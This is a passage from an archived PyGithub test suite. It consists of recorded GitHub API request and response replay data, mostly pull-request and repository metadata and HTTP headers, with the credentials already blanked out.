#2019","created_at":"2021-10-15T04:31:31Z","updated_at":"2021-10-15T04:40:10Z","closed_at":"2021-10-15T04:40:10Z","merged_at":"2021-10-15T04:40:10Z","merge_commit_sha":"b1c8eec58fd5848a9d7991a186bad3bd5a28b583","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/2078/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/2078/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2078/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/fb3a0ae0c2c3ef2379a0a88ca9cbab33ccf044fb","head":{"label":"s-t-e-v-e-n-k:delete-workflow-run","ref":"delete-workflow-run","sha":"fb3a0ae0c2c3ef2379a0a88ca9cbab33ccf044fb","user":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"repo":{"id":129349732,"node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","name":"PyGithub","full_name":"s-t-e-v-e-n-k/PyGithub","private":false,"owner":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"html_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub","forks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/forks","keys_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/teams","hooks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/events","assignees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/tags","blobs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/languages","stargazers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscription","commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/merges","archive_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/downloads","issues_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/deployments","created_at":"2018-04-13T04:57:01Z","updated_at":"2019-06-18T12:16:11Z","pushed_at":"2021-10-15T04:31:12Z","git_url":"git://github.com/s-t-e-v-e-n-k/PyGithub.git","ssh_url":"git@github.com:s-t-e-v-e-n-k/PyGithub.git","clone_url":"https://github.com/s-t-e-v-e-n-k/PyGithub.git","svn_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":13766,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"PyGithub:master","ref":"master","sha":"53fb49882f34c63ef2437460a9bb64b91e94cec3","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2021-10-20T04:31:56Z","pushed_at":"2021-10-20T04:31:51Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13735,"stargazers_count":4719,"watchers_count":4719,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1391,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":148,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1391,"open_issues":148,"watchers":4719,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/2078"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/2078"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/2078"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/2078/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/2078/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/2078/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/fb3a0ae0c2c3ef2379a0a88ca9cbab33ccf044fb"}},"author_association":"COLLABORATOR","auto_merge":null,"active_lock_reason":null,"merged":true,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"comments":1,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":34,"deletions":0,"changed_files":3} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/2078/requested_reviewers?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Oct 2021 05:40:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3bdd16ac7c1853f4988e9c4edeca057b1bffd3ffe00962f20d0bf1773c82f52b"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1634708983'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C664:3107:2B2D47:2F8DAE:616FABB2')] {"users":[],"teams":[]} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/2078/requested_reviewers?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 20 Oct 2021 05:40:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3bdd16ac7c1853f4988e9c4edeca057b1bffd3ffe00962f20d0bf1773c82f52b"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1634708983'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C666:6691:1BB4B8:1E6EE3:616FABB2')] {"users":[],"teams":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testTotalCountWithNoLastPage.txt0000644000175100001660000000343414756101563027220 0ustar00runnerdockerhttps GET api.github.com None /repositories?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 03 Aug 2020 09:02:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1596448362'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"d773714fdca21c9206d9d35e50fcd1ff"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="first"'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C662:025B:26F607:2FDFF2:5F27D299')] [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Permissions.setUp.txt0000644000175100001660000001673714756101563022347 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 30 Dec 2020 16:56:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"c657b4c19db69d99845c82908b2a8f7f87dfc1fa058ecb82ffda11af8867667a"'), ('Last-Modified', 'Wed, 30 Dec 2020 01:50:06 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4968'), ('X-RateLimit-Reset', '1609349398'), ('X-RateLimit-Used', '32'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CC87:48FE:1FC3AC59:247A4176:5FECB143')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-12-30T01:50:06Z","pushed_at":"2020-12-30T16:00:45Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13269,"stargazers_count":3989,"watchers_count":3989,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1244,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":77,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1244,"open_issues":77,"watchers":3989,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"temp_clone_token":"","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1244,"subscribers_count":105} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Persistence.setUp.txt0000644000175100001660000003451314756101563022310 0ustar00runnerdockerhttps GET api.github.com None /repos/akfish/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13698'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:09:11 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"8600bedcb7fed1d8065e1693e05529ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:13:08 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')] 